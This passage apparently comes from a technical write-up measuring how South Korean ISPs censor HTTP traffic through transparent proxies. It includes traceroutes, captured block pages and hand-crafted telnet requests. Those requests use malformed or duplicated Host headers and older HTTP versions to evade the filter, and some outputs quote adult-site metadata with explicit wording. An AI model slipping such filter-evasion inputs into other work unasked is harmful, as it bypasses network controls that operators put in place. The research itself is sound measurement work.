6 1.255.26.254 (1.255.26.254) 6.987 ms 118.221.7.42 (118.221.7.42) 5.064 ms 118.221.7.70 (118.221.7.70) 7.499 ms
7 39.115.132.238 (39.115.132.238) 7.452 ms 7.457 ms 7.454 ms
8 * * *
9 * * *
10 192.168.112.1 (192.168.112.1) 7.414 ms 192.168.132.1 (192.168.132.1) 7.410 ms 7.407 ms
11 39.115.132.237 (39.115.132.237) 7.843 ms 7.824 ms 6.593 ms
12 39.115.132.90 (39.115.132.90) 60.029 ms 210.180.97.9 (210.180.97.9) 58.820 ms 59.904 ms
13 * * *
14 be1-1170.sbg-g1-a9.fr.eu (37.187.232.86) 308.407 ms 308.406 ms 308.404 ms
15 * po99-1123.mil-5-6k.it.eu (91.121.131.149) 308.365 ms po97-1122.mil-5-6k.it.eu (91.121.131.147) 308.171 ms
16 www.ovh.com (198.27.92.1) <syn,ack> 308.370 ms * 308.316 ms
user@kali:~$
192.168.112.1
is present (but it's NOT present if we do ICMP/UDP traceroutes).
Another TCPtraceroute will show a suspicious 192.168.132.1
in hop 10 (in a different date):
user@kali:~$ tcptraceroute www.ovh.com 80
Running:
traceroute -T -O info -p 80 www.ovh.com
traceroute to www.ovh.com (198.27.92.1), 30 hops max, 60 byte packets
1 100.114.55.252 (100.114.55.252) 1.611 ms 2.138 ms 2.676 ms
2 100.114.27.169 (100.114.27.169) 2.690 ms 2.677 ms 2.674 ms
3 1.255.24.48 (1.255.24.48) 2.833 ms 3.128 ms 3.419 ms
4 61.98.54.109 (61.98.54.109) 3.427 ms 3.420 ms 3.414 ms
5 58.229.4.20 (58.229.4.20) 3.982 ms 58.229.4.16 (58.229.4.16) 5.237 ms 5.247 ms
6 118.221.7.70 (118.221.7.70) 5.666 ms 6.473 ms 4.136 ms
7 39.115.132.238 (39.115.132.238) 5.232 ms 5.449 ms 5.450 ms
8 * * *
9 * * *
10 192.168.132.1 (192.168.132.1) 5.971 ms 5.373 ms 4.869 ms
11 39.115.132.237 (39.115.132.237) 7.897 ms 39.115.132.233 (39.115.132.233) 5.352 ms 39.115.132.237 (39.115.132.237) 7.870 ms
12 39.115.132.90 (39.115.132.90) 60.661 ms 59.833 ms 59.790 ms
13 * * *
14 be1-1170.sbg-g1-a9.fr.eu (37.187.232.86) 307.206 ms 307.098 ms 308.245 ms
15 * * *
16 www.ovh.com (198.27.92.1) <syn,ack> 306.193 ms 306.008 ms 307.063 ms
With KT, sometimes, a strange hop will appear when doing a TCP traceroute, as shown below (hop 11):
user@kali:~$ tcptraceroute 216.58.197.227
Running:
traceroute -T -O info -p 80 216.58.197.227
traceroute to 216.58.197.227 (216.58.197.227), 30 hops max, 60 byte packets
1 gateway (172.30.1.254) 1.196 ms 1.197 ms 1.225 ms
2 115.21.98.254 (115.21.98.254) 5.727 ms 7.883 ms 7.901 ms
3 119.196.200.157 (119.196.200.157) 5.700 ms 7.305 ms 8.944 ms
4 112.190.16.37 (112.190.16.37) 5.655 ms 6.549 ms 10.649 ms
5 112.190.2.93 (112.190.2.93) 18.086 ms 18.105 ms 18.104 ms
6 112.174.125.137 (112.174.125.137) 16.063 ms 3.217 ms 3.205 ms
7 112.174.48.202 (112.174.48.202) 2.385 ms 4.605 ms 4.584 ms
8 112.174.31.154 (112.174.31.154) 4.540 ms 6.182 ms 112.174.31.146 (112.174.31.146) 7.205 ms
9 * * *
10 * * *
11 192.168.144.1 (192.168.144.1) 2.568 ms 2.587 ms 2.577 ms
12 112.174.31.189 (112.174.31.189) 3.301 ms 112.174.31.177 (112.174.31.177) 5.663 ms 112.174.31.25 (112.174.31.25) 15.977 ms
13 112.174.84.186 (112.174.84.186) 15.926 ms 112.174.84.58 (112.174.84.58) 15.946 ms 112.174.83.58 (112.174.83.58) 15.937 ms
14 72.14.194.194 (72.14.194.194) 46.967 ms 47.023 ms 52.190 ms
15 209.85.142.95 (209.85.142.95) 48.218 ms 216.239.54.1 (216.239.54.1) 48.857 ms 209.85.142.95 (209.85.142.95) 48.220 ms
16 72.14.237.223 (72.14.237.223) 38.998 ms 72.14.238.99 (72.14.238.99) 41.599 ms 45.584 ms
17 nrt13s49-in-f3.1e100.net (216.58.197.227) <syn,ack> 41.301 ms 41.277 ms 33.900 ms
And the UDP traceroute:
user@kali:~$ traceroute 216.58.197.227
traceroute to 216.58.197.227 (216.58.197.227), 30 hops max, 60 byte packets
1 gateway (172.30.1.254) 2.500 ms 2.563 ms 4.136 ms
2 115.21.98.254 (115.21.98.254) 7.673 ms 9.465 ms 9.461 ms
3 119.196.200.157 (119.196.200.157) 8.254 ms 9.429 ms 10.889 ms
4 112.190.16.37 (112.190.16.37) 7.591 ms 8.242 ms 8.762 ms
5 112.190.2.93 (112.190.2.93) 12.834 ms 12.849 ms 12.847 ms
6 112.174.125.137 (112.174.125.137) 14.237 ms 4.237 ms 3.832 ms
7 112.174.48.202 (112.174.48.202) 2.976 ms 2.971 ms 2.968 ms
8 112.174.84.22 (112.174.84.22) 2.921 ms 112.174.84.58 (112.174.84.58) 3.792 ms 3.791 ms
9 72.14.194.194 (72.14.194.194) 34.562 ms 35.805 ms 35.211 ms
10 209.85.142.95 (209.85.142.95) 36.480 ms 216.239.54.1 (216.239.54.1) 35.262 ms 209.85.142.95 (209.85.142.95) 37.717 ms
11 72.14.237.223 (72.14.237.223) 35.233 ms 35.211 ms 35.202 ms
12 nrt13s49-in-f227.1e100.net (216.58.197.227) 38.470 ms 34.080 ms 39.364 ms
If you read the TCPtraceroutes, you will see a hop located in the edge of the Korean network (hop10 or 11): 192.168.112.1
or 192.168.132.1
or 192.168.144.1
. This router doesn't appear when doing UDP or ICMP traceroutes.
When doing tcptraceroute to exotic remote ports (61721
), this hop doesn't appear. In fact, this hop appears only for a list of specific ports (80
, 8080
, 8000
, 2222
, ...) but the censorship seems to affect every TCP connection.
Note: This hop appears not every time when using KT or LG U+ connection (but they are still censoring Internet connection). It means that the 2 ISPs are using different methods to censor websites or the censorship system has different network behaviors.
You can test filtering by yourself with these wget
commands, by contacting a remote server and asking to serve HTTP webpages:
Connecting to ftp.de.freebsd.org
and asking HTTP on a FTP server will result errors from the FTP server (which is normal):
user@kali:~$ wget -O- http://ftp.de.freebsd.org:21/
--2016-10-01 XX:XX:XX-- http://ftp.de.freebsd.org:21/
Resolving ftp.de.freebsd.org (ftp.de.freebsd.org)... 213.83.42.56, 2a02:2e0:11:a00::10
Connecting to ftp.de.freebsd.org (ftp.de.freebsd.org)|213.83.42.56|:21... connected.
HTTP request sent, awaiting response... 200 No headers, assuming HTTP/0.9
Length: unspecified
Saving to: 'STDOUT'
- [<=> ] 0 --.-KB/s 220 FTP Server ready.
500 GET not understood
500 USER-AGENT: not understood
500 ACCEPT: not understood
500 ACCEPT-ENCODING: not understood
500 HOST: not understood
500 CONNECTION: not understood
500 Invalid command: try being more creative
^C
user@kali:~$
Now connecting to the same FTP server and providing a Host: www.xhamster.com
with the HTTP request will send us a HTTP reply by the censorship system:
user@kali:~$ wget --header="Host: www.xhamster.com" -O- http://ftp.de.freebsd.org:21/
--2016-10-01 XX:XX:XX-- http://ftp.de.freebsd.org:21/
Resolving ftp.de.freebsd.org (ftp.de.freebsd.org)... 213.83.42.56, 2a02:2e0:11:a00::10
Connecting to ftp.de.freebsd.org (ftp.de.freebsd.org)|213.83.42.56|:21... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: 'STDOUT'
- [<=> ] 0 --.-KB/s <html><script>
var arg = "http://warning.or.kr";
var str = new Array();
str = arg.split("&", 1);
var a = new Array();
a = str[0].split("=");
var b = Math.floor(a[1] / 100);
var c = new Array();
if(b == 10){location.replace("http://www.naver.com");}
else if(b == 20){location.replace("http://www.daum.net");}
else if(b == 30){location.replace("http://www.paran.com");}
else{ c = a[0].split("?");
location.replace(c[0]);}
</script></html>
- [ <=> ] 437 --.-KB/s in 0s
2016-10-01 XX:XX:XX (13.5 MB/s) - written to stdout [437]
user@kali:~$
Same with SSH:
We see the SSH banner on ftp.de.freebsd.org using telnet
:
user@kali:~$ telnet ftp.de.freebsd.org 22
Trying 213.83.42.56...
Connected to ftp.plusline.de.
Escape character is '^]'.
SSH-2.0-OpenSSH_5.3
^]
telnet> q
Connection closed.
user@kali:~$
Now sending an http request to the sshd server of ftp.de.freebsd.org
with a censored Host
will trigger the censorship:
user@kali:~$ wget --header="Host: www.xhamster.com" -O- http://ftp.de.freebsd.org:22/
--2016-10-01 XX:XX:XX-- http://ftp.de.freebsd.org:22/
Resolving ftp.de.freebsd.org (ftp.de.freebsd.org)... 213.83.42.56, 2a02:2e0:11:a00::10
Connecting to ftp.de.freebsd.org (ftp.de.freebsd.org)|213.83.42.56|:22... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: 'STDOUT'
- [<=> ] 0 --.-KB/s <html><script>
var arg = "http://warning.or.kr";
var str = new Array();
str = arg.split("&", 1);
var a = new Array();
a = str[0].split("=");
var b = Math.floor(a[1] / 100);
var c = new Array();
if(b == 10){location.replace("http://www.naver.com");}
else if(b == 20){location.replace("http://www.daum.net");}
else if(b == 30){location.replace("http://www.paran.com");}
else{ c = a[0].split("?");
location.replace(c[0]);}
</script></html>
- [ <=> ] 437 --.-KB/s in 0s
2016-10-01 XX:XX:XX (37.8 MB/s) - written to stdout [437]
FTP.DE.FREEBSD.ORG
has other interesting ports, like rsync:
Sending http requests to open TCP ports (873/tcp
[rsync] and 5666/tcp
) on ftp.de.freebsd.org
with a censored Host will trigger the censorship too:
user@kali:~$ wget --header="Host: www.xhamster.com" -O- http://ftp.de.freebsd.org:873/
--2016-10-01 XX:XX:XX-- http://ftp.de.freebsd.org:873/
Resolving ftp.de.freebsd.org (ftp.de.freebsd.org)... 213.83.42.56, 2a02:2e0:11:a00::10
Connecting to ftp.de.freebsd.org (ftp.de.freebsd.org)|213.83.42.56|:873... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: 'STDOUT'
- [<=> ] 0 --.-KB/s <html><script>
var arg = "http://warning.or.kr";
var str = new Array();
str = arg.split("&", 1);
var a = new Array();
a = str[0].split("=");
var b = Math.floor(a[1] / 100);
var c = new Array();
if(b == 10){location.replace("http://www.naver.com");}
else if(b == 20){location.replace("http://www.daum.net");}
else if(b == 30){location.replace("http://www.paran.com");}
else{ c = a[0].split("?");
location.replace(c[0]);}
</script></html>
- [ <=> ] 437 --.-KB/s in 0s
2016-10-01 XX:XX:XX (43.1 MB/s) - written to stdout [437]
user@kali:~$ wget --header="Host: www.xhamster.com" -O- http://ftp.de.freebsd.org:5666/
--2016-10-01 XX:XX:XX-- http://ftp.de.freebsd.org:5666/
Resolving ftp.de.freebsd.org (ftp.de.freebsd.org)... 213.83.42.56, 2a02:2e0:11:a00::10
Connecting to ftp.de.freebsd.org (ftp.de.freebsd.org)|213.83.42.56|:5666... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: 'STDOUT'
- [<=> ] 0 --.-KB/s <html><script>
var arg = "http://warning.or.kr";
var str = new Array();
str = arg.split("&", 1);
var a = new Array();
a = str[0].split("=");
var b = Math.floor(a[1] / 100);
var c = new Array();
if(b == 10){location.replace("http://www.naver.com");}
else if(b == 20){location.replace("http://www.daum.net");}
else if(b == 30){location.replace("http://www.paran.com");}
else{ c = a[0].split("?");
location.replace(c[0]);}
</script></html>
- [ <=> ] 437 --.-KB/s in 0s
2016-10-01 XX:XX:XX (35.3 MB/s) - written to stdout [437]
user@kali:~$
Analysis: the censorship system is a transparent proxy located in hop 10 or 11, located in the edge of Korean network to listen to international links.
The censorship system only targets HTTP identified connections within ALL TCP connections passing in the international links of South Korea.
The local traffic inside the country is not filtered.
In the previous section, I illustrated how the censorship system analyses all the HTTP packets looking for the host of the remote website. You can contact a legit remote HTTP server and change the Host Field to trigger the censorship as long as you cross international fiber optic.
The censorship system is working with different proxy clusters, providing different answers. That is, depending on the transparent proxy you are using, you get different behaviors. You have no control about the transparent proxies you are using.
In this section, I would like to introduce different behaviors of the censorship that you will face when you visit a banned website in the SKT, KT and LG networks.
This answer seems to be used for a cache proxy.
When trying to contact a website for the first time, if the remote transparent proxy doesn't reply yet to a browser, it will reply this webpage:
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/strict.dtd">
<!-- <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd"> -->
<HTML>
<HEAD>
<META HTTP-EQUIV="Refresh" CONTENT="0.1">
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Expires" CONTENT="-1">
<TITLE></TITLE>
</HEAD>
<BODY><P></BODY>
</HTML>
Your browser will ask a refresh within 0.1 second of the URI, which will provide a new HTTP answer (see the next two answers):
Contacting a Google server at 216.58.214.131
(not hosted in South Korea), asking for a censored website:
user@kali:~$ wget -O- --header="Host: www.xhamster.com" http://www.google.ru/
--2016-10-01XX:XX:XX-- http://www.google.ru/
Resolving www.google.ru (www.google.ru)... 216.58.214.131, 2a00:1450:4001:813::2003
Connecting to www.google.ru (www.google.ru)|216.58.214.131|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: 'STDOUT'
<html><script>
var arg = "http://www.warning.or.kr"
var str = new Array();
str = arg.split("&", 1);
var a = new Array();
a = str[0].split("=")
var b = Math.floor(a[1] / 100);
var c = new Array();
if(b == 10){location.replace("http://www.google.com");}
else{
c = a[0].split("?");
location.replace(c[0]);
}
</script></html>
2016-10-01XX:XX:XX (12.5 MB/s) - written to stdout [330]
user@kali:~$
The answer is:
HTTP/1.0 200 OK
Content-type: text/html
<html><script>
var arg = "http://www.warning.or.kr"
var str = new Array();
str = arg.split("&", 1);
var a = new Array();
a = str[0].split("=")
var b = Math.floor(a[1] / 100);
var c = new Array();
if(b == 10){location.replace("http://www.google.com");}
else{
c = a[0].split("?");
location.replace(c[0]);
}
</script></html>
The JavaScript code may differ depending on the used ISP (i.e.: KT):
HTTP/1.0 200 OK
Content-type: text/html
<html><script>
var arg = "http://warning.or.kr";
var str = new Array();
str = arg.split("&", 1);
var a = new Array();
a = str[0].split("=");
var b = Math.floor(a[1] / 100);
var c = new Array();
if(b == 10){location.replace("http://www.naver.com");}
else if(b == 20){location.replace("http://www.daum.net");}
else if(b == 30){location.replace("http://www.paran.com");}
else{ c = a[0].split("?");
location.replace(c[0]);}
</script></html>
You will note the censorship system is banning my request even if I try to contact a remote server from Google that doesn't host a censored website.
By contacting Google servers located in US and asking a banned vhost, the webpage will show a 302 redirection to http://www.warning.or.kr/
:
This one is a 302 temporary redirect:
user@kali:~$ wget -O- --header="Host: www.xhamster.com" http://www.google.ru/
--2016-10-01XX:XX:XX-- http://www.google.ru/
Resolving www.google.ru (www.google.ru)... 216.58.214.131, 2a00:1450:4001:813::2003
Connecting to www.google.ru (www.google.ru)|216.58.214.131|:80... connected.
HTTP request sent, awaiting response... 302 Redirect
Location: http://www.warning.or.kr [following]
--2016-10-01 XX:XX:XX-- http://www.warning.or.kr/
Resolving www.warning.or.kr (www.warning.or.kr)... 121.189.57.82
Connecting to www.warning.or.kr (www.warning.or.kr)|121.189.57.82|:80...connected.
HTTP request sent, awaiting response... 200 OK
Length: 10590 (10K) [text/html]
Saving to: 'STDOUT'
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="kcsc" content="blocking" />
<title>www.warning.or.kr</title>
<style type="text/css">
[...]
The answer is:
HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr
In short, load-balanced transparent proxies are located somewhere in South Korea and are analyzing the Host
header in the HTTP request (or in the URIs if you are using HTTP/0.9 or HTTP/1.0 - we will see that in the next section). These are:
1/ If the vhost is not blacklisted, forwarding the request to the remote server.
OR
2/ If the vhost is blacklisted,
i) Blocking and providing a HTML webpage asking for a refresh so that a cached webpage will be created and provided to the client.
AND
ii) Blocking and providing a 302 HTTP response to the client. The client will follow the 302 response to http://www.warning.or.kr/.
OR
iii) Blocking and providing a webpage witha JavaScript redirection to http://www.warning.or.kr/. The client will be directed to the http://www.warning.or.kr/ webpage.
This will open discussion about HTTP/2, HTTPS, and exotic protocol (websockets). Let's not forget IPv6 as a network layer (this is important) but before, we will speak about the future: HTTP/0.9 and HTTP/1.0.
OK, let's go browsing censored websites, with more potential options (HTTPS, HTTP/* support...) that will allow us to determine how the censorship works.
Forging HTTP request manually will show us what is happening in the application layer. No more use of fake HTTP Google servers. Let's try to contact remote censored websites!
Firstly, playing with HTTP/0.9:
user@kali:~$ telnet xhamster.com 80
Trying 88.208.18.30...
Connected to xhamster.com.
Escape character is '^]'.
GET /
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8"><meta name="referrer" content="always" />
<title>Free Porn Videos & HD Sex Tube Movies at xHamster</title>
<meta name="description" content="Watch and download all Porn Videos at xHamster for Free, including HD. Browse sex photos, date girls to fuck & have fun in Live Sex Chat only at xHamster!">
<meta name="RATING" content="RTA-5042-1996-1400-1577-RTA">
<meta name="viewport" content="">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="yandex-tableau-widget" content="logo=http://static-ec.xhcdn.com/images/xYa.png, color=#f2f2f2" />
<link rel="alternate" href="http://xhamster.com/" hreflang="x-default">
<link rel="alternate" href="http://xhamster.com/" hreflang="en">
<link rel="alternate" href="http://ru.xhamster.com/" hreflang="ru">
<link rel="alternate" href="http://de.xhamster.com/" hreflang="de">
[...]
Success! The banned website can now be visited using the bleeding-edge HTTP/0.9 technology.
It's useless as visiting websites using only HTTP/0.9 will result in a lot of broken resources (no vhost support, good luck).
Ok let's play with HTTP/1.0 where the Host
header is still not mandatory if we read the RFC1945 - Hypertext Transfer Protocol -- HTTP/1.0:
With SKT and KT, you will receive the uncensored webpage:
user@kali:~$ telnet www.xhamster.com 80
Trying 88.208.29.24...
Connected to www.xhamster.com.
Escape character is '^]'.
GET / HTTP/1.0
HTTP/1.1 200 OK
Server: nginx/1.10.1
Date: Fri, 01 Oct 2016 00:00:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/7.0.5
Set-Cookie: stats_id=000000; expires=Wed, XX-Oct-2016 00:00:00 GMT; Max-Age=604800; path=/; domain=.xhamster.com
Srv: m43
Set-Cookie: first_visit=0000000000; expires=Thu, XX-Oct-2017 00:00:00 GMT; Max-Age=31536000; path=/; domain=.xhamster.com
Set-Cookie: prid=--; expires=Thu, 01-Oct-2016 00:00:00 GMT; Max-Age=86400; path=/; domain=.xhamster.com
Set-Cookie: prs=--; expires=Thu, 01-Oct-2016 00:00:00 GMT; Max-Age=86400; path=/; domain=.xhamster.com
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8"><meta name="referrer" content="always" />
<title>Free Porn Videos & HD Sex Tube Movies at xHamster</title>
<meta name="description" content="Watch and download all Porn Videos at xHamster for Free, including HD. Browse sex photos, date girls to fuck & have fun in Live Sex Chat only at xHamster!">
<meta name="RATING" content="RTA-5042-1996-1400-1577-RTA">
<meta name="viewport" content="">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="yandex-tableau-widget" content="logo=http://static-ec.xhcdn.com/images/xYa.png, color=#f2f2f2" />
<link rel="alternate" href="http://xhamster.com/" hreflang="x-default">
[...]
It works on this censored website, too. Having an old browser without Host
support will bypass the censorship (as long as the remote website is serving webpages without providing Host
- it depends on the remote configuration of the remote servers).
But good luck browsing the Internet without having vhost support :)
Note that this technique doesn't work with a LG U+ connection:
user@kali:~$ telnet www.xhamster.com 80
Trying 88.208.29.24...
Connected to www.xhamster.com.
Escape character is '^]'.
GET / HTTP/1.0
HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr/
However, if you contact an uncensored website without proving a Host
field, the webpage will not be blocked in a LG U+ connection.
It means that LG has apparently a database of IPs corresponding of censored websites and if you contact them without providing a Host, the request will be blocked.
Now still with HTTP/1.0:
user@kali:~$ telnet xhamster.com 80
Trying 88.208.18.30...
Connected to xhamster.com.
Escape character is '^]'.
GET http://www.xhamster.com/ HTTP/1.0
HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr
Connection closed by foreign host.
user@kali:~$
Wow, this request was banned even with HTTP/1.0. From this, we can determine the transparent proxies are analyzing the URI too (along with the Host field), looking for forbidden domains.
Now we start playing with Host using the "new" HTTP/1.1 technology (RFC 2616, only 17 year old):
The Host
field containing a censored webpage will trigger the censorship system:
user@kali:~$ telnet www.xhamster.com 80
Trying 88.208.29.24...
Connected to www.xhamster.com.
Escape character is '^]'.
GET / HTTP/1.0
Host: xhamster.com
HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr
Connection closed by foreign host.
user@kali:~$
This request is banned.
The invalid Host www.xhamster.com/aaaaaaaafield
containing a censored webpage will trigger the censorship system too:
user@kali:~$ telnet www.xhamster.com 80
Trying 88.208.18.30...
Connected to www.xhamster.com.
Escape character is '^]'.
GET / HTTP/1.0
Host: www.xhamster.com/aaaaaaaa
HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr
Connection closed by foreign host.
user@kali:~$
This request is banned even if the vhost is not good.
The Host www.xhamster.com:80
field containing a censored webpage will trigger the censorship system:
user@kali:~$ telnet www.xhamster.com 80
Trying 88.208.29.24...
Connected to www.xhamster.com.
Escape character is '^]'.
GET / HTTP/1.0
Host: www.xhamster.com:80
HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr
Connection closed by foreign host.
user@kali:~$
The request is still banned with www.xhamster.com:80
as a remote host.
The Host www.xhamster.com:-800000000000000000000
field containing a censored webpage will trigger the censorship system too:
user@kali:~$telnet www.xhamster.com 80
Trying 88.208.18.30...
Connected to www.xhamster.com.
Escape character is '^]'.
GET / HTTP/1.0
Host: www.xhamster.com:-800000000000000000000
HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr
Connection closed by foreign host.
user@kali:~$
So www.xhamster.com:-800000000000000000000
is banned too.
The Host www.xhamster.com:80:80
field containing a censored webpage will trigger the censorship system:
user@kali:~$ telnet www.xhamster.com 80
Trying 88.208.29.24...
Connected to www.xhamster.com.
Escape character is '^]'.
GET / HTTP/1.0
Host: www.xhamster.com:80:80
HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr
Connection closed by foreign host.
user@kali:~$
www.xhamster.com:80:80
is banned too.
Sending 2 hosts with the first one in the list of censored websites trigger the censorship system:
user@kali:~$ telnet www.xhamster.com 80
Trying 88.208.29.24...
Connected to www.xhamster.com.
Escape character is '^]'.
GET / HTTP/1.0
Host: www.xhamster.com
Host: www.lulz.com
HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr
Connection closed by foreign host.
user@kali:~$
With 2 Host
fields, only the first one seems to be used. Sending 2 hosts with only the second one in the list of censored websites will NOT trigger the censorship system as I received an answer from Xhamster.com servers:
user@kali:~$ telnet www.xhamster.com 80
Trying 88.208.29.24...
Connected to www.xhamster.com.
Escape character is '^]'.
GET / HTTP/1.0
Host: www.lulz.com
Host: www.xhamster.com
HTTP/1.1 301 Moved Permanently
Server: nginx/1.10.1
Date: Fri, 01Oct 2016 00:00:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.0.5
Location: http://lulz.com/
Connection closed by foreign host.
user@kali:~$
With 2 Host
fields, the first one is used and this request was OK but unusable because the remote server is configured to use the first vhost and is providing me with a 301 redirection to it (protip xhamster admins: please use a catch-all vhost!).
Ok, as seen already, the system is analyzing HTTP requests passing to every international link. Let's continue using Google servers :)
Asking www.xhamster.com
to a Google server will result in a 302 redirect to http://www.warning.or.kr
:
user@kali:~$ telnet 216.58.197.227 80
Trying 216.58.197.227...
Connected to 216.58.197.227.
Escape character is '^]'.
GET / HTTP/1.0
Host: www.xhamster.com
HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr
Connection closed by foreign host.
user@kali:~$
Asking www.xhamster.com%00
will produce an error from the Google server, showing that the request was NOT censored!
user@kali:~$ telnet 216.58.197.227 80
Trying 216.58.197.227...
Connected to 216.58.197.227.
Escape character is '^]'.
GET / HTTP/1.0
Host: www.xhamster.com%00
HTTP/1.0 400 Bad Request
Content-Length: 54
Content-Type: text/html; charset=UTF-8
Date: Fri, 01 Oct 2016 00:00:00 GMT
<html><title>Error 400 (Bad Request)!!1</title></html>Connection closed by foreign host.
user@kali:~$
Ok, let's try on Xhamster.com
website:
user@kali:~$ telnet xhamster.com 80
Trying 88.208.29.24...
Connected to xhamster.com.
Escape character is '^]'.
GET / HTTP/1.0
Host: www.xhamster.com%00
HTTP/1.1 301 Moved Permanently
Server: nginx/1.10.1
Date: Fri, 01 Oct 2016 00:00:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.0.5
Location: http://xhamster.com%00/
Connection closed by foreign host.
user@kali:~$
It works - I got a reply from the www.xhamster.com server.
Let's try to add some random stuff with invalid HTTP request (e.g. Host: %s:www.xhamster.com
):
user@kali:~$ telnet xhamster.com 80
Trying 88.208.18.30...
Connected to xhamster.com.
Escape character is '^]'.
GET / HTTP/1.0
Host: %s:www.xhamster.com
HTTP/1.1 301 Moved Permanently
Server: nginx/1.10.1
Date: Fri, 01Oct 2016 00:00:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.0.5
Location: http://xhamster.com/
Connection closed by foreign host.
user@kali:~$
It works too!
Ok, doing Webdav will work too. The remote Xhamster.com webpage will reply to me:
user@kali:~$ telnet xhamster.com 80
Trying 88.208.29.24...
Connected to xhamster.com.
Escape character is '^]'.
OPTIONS * HTTP/1.1
Host: www.xhamster.com:80
HTTP/1.1 400 Bad Request
Server: nginx/1.10.1
Date: Fri, 01 Oct 2016 00:00:00 GMT
Content-Type: text/html
Content-Length: 173
Connection: close
<html>
<head><title>400 Bad Request</title></head>
<body bgcolor="white">
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx/1.10.1</center>
</body>
</html>
Connection closed by foreign host.
user@kali:~$
Using URIs will trigger the censorship system too:
Fetching http://xhamster.com/about.php
and http://www.xhamster.com/
will show a 302 redirect to http://www.warning.or.kr
:
user@kali:~$ telnet xhamster.com 80
Trying 88.208.29.24...
Connected to xhamster.com.
Escape character is '^]'.
GET http://xhamster.com/about.php HTTP/1.1
HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr
Connection closed by foreign host.
user@kali:~$
In this one, I ask http://www.xhamster.com/
to a remote Google server (censored too):
user@kali:~$ telnet 216.58.214.131 80
Trying 216.58.214.131...
Connected to 216.58.214.131.
Escape character is '^]'.
GET http://www.xhamster.com/ HTTP/1.0
HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr
Connection closed by foreign host.
user@kali:~$
And minutes later, the same request will send me another reply:
user@kali:~$ telnet google.ru 80
Trying 216.58.214.131...
Connected to google.ru.
Escape character is '^]'.
GET http://www.xhamster.com/ HTTP/1.0
HTTP/1.0 200 OK
Content-type: text/html
<html><script>
var arg = "http://www.warning.or.kr"
var str = new Array();
str = arg.split("&", 1);
var a = new Array();
a = str[0].split("=")
var b = Math.floor(a[1] / 100);
var c = new Array();
if(b == 10){location.replace("http://www.google.com");}
else{
c = a[0].split("?");
location.replace(c[0]);
}
</script></html>
Connection closed by foreign host.
user@kali:~$
The censorship system analyzes URI
and Host
field to identify remote webserver and denies the access by providing a 302 redirection to www.warning.co.kr
or by providing a webpage with a JavaScript redirection.
HTTP/0.9 is not supported and bypasses the censorship system.
HTTP/1.0 and HTTP/1.1 requests without Hosts or complete URI are not supported and thus bypass the censorship system by default.
We have now questions:
I was lucky to find a website with a wildcard for the vhost: Tube8.com
(NSFW - thank you tube8.com admins).
Using random vhosts while contacting the Tube8.com
servers will still provide me with tube8.com
webpages.
As shown below, Tube8.com
is configured as a wildcard, and requesting this webpage with a custom vhost (please-enlarge-my-bandwith
) will work:
user@kali:~$ telnet tube8.com 80
Trying 31.192.112.104...
Connected to tube8.com.
Escape character is '^]'.
GET / HTTP/1.0
Host: please-enlarge-my-bandwith
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 01 Oct 2016 00:00:00 GMT
Content-Type: text/html
Connection: close
Set-Cookie: t8segm=0; expires=Wed, 01-Oct-2016 00:00:00 GMT; Max-Age=604800; path=/
Set-Cookie: rand1=1472020135; expires=Wed, 01-Oct-2016 00:00:00 GMT; Max-Age=3600; path=/; domain=tube8.com
Set-Cookie: rand2=REMOVED; expires=Wed, 01-Oct-2016 00:00:00 GMT; Max-Age=3600; path=/; domain=tube8.com
Set-Cookie: GA-BE-SID=REMOVED
Vary: User-Agent, Accept-Encoding
Rating: RTA-5042-1996-1400-1577-RTA
Set-Cookie: RNLBSERVERID=ded1772; path=/
<!DOCTYPE html>
<html class="en" lang="en" id="lang_en">
<head>
<script type="text/javascript">
var rta = document.createElement('script');
rta.type = 'text/javascript';
[will send the complete index.html webpage]
Trying to wget
the webpage (with tube8.com
vhost) will forward to the www.warning.or.kr
webpage, ruining all the fun:
user@kali:~$ wget http://www.tube8.com/
--2016-10-01 XX:XX:XX-- http://www.tube8.com/
Resolving www.tube8.com (www.tube8.com)... 31.192.112.104
Connecting to www.tube8.com (www.tube8.com)|31.192.112.104|:80... connected.
HTTP request sent, awaiting response... 302 Redirect
Location: http://www.warning.or.kr [following]
--2016-10-01 XX:XX:XX-- http://www.warning.or.kr/
Resolving www.warning.or.kr (www.warning.or.kr)... 121.189.57.82
Connecting to www.warning.or.kr (www.warning.or.kr)|121.189.57.82|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10590 (10K) [text/html]
Saving to: 'index.html.1'
